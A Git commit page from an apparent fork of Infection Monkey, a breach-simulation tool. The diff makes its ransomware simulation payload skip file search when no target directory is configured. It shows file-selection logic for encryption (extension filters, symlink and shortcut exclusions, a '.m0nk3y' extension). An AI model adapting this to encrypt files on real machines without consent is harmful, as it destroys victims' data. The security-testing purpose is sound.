p34709852
/
monkey
forked from p15670423/monkey
1
0
Fork 1
Code Issues Pull Requests Projects Releases Wiki Activity

Agent: Don't run ransomware payload if no directory was specified

This commit is contained in:
Mike Salvatore 2021-06-23 08:34:09 -04:00
parent 7149e112b0
commit 2c97d04673
1 changed files with 7 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

11
monkey/infection_monkey/ransomware/ransomware_payload.py
View File

@ -20,10 +20,10 @@ EXTENSION = ".m0nk3y"
class RansomewarePayload:
def __init__(self, config: dict):
LOG.info(f"Windows dir configured for encryption is {config['windows_dir']}")
LOG.info(f"Linux dir configured for encryption is {config['linux_dir']}")
LOG.info(f"Windows dir configured for encryption is \"{config['windows_dir']}\"")
LOG.info(f"Linux dir configured for encryption is \"{config['linux_dir']}\"")
self._target_dir = Path(config["windows_dir"] if is_windows_os() else config["linux_dir"])
self._target_dir = config["windows_dir"] if is_windows_os() else config["linux_dir"]
self._valid_file_extensions_for_encryption = VALID_FILE_EXTENSIONS_FOR_ENCRYPTION.copy()
self._valid_file_extensions_for_encryption.discard(EXTENSION)
@ -32,13 +32,16 @@ class RansomewarePayload:
self._encrypt_files(file_list)
def _find_files(self):
if not self._target_dir:
return []
file_filters = [
file_extension_filter(self._valid_file_extensions_for_encryption),
is_not_shortcut_filter,
is_not_symlink_filter,
]
all_files = get_all_regular_files_in_directory(self._target_dir)
all_files = get_all_regular_files_in_directory(Path(self._target_dir))
return filter_files(all_files, file_filters)
def _encrypt_files(self, file_list):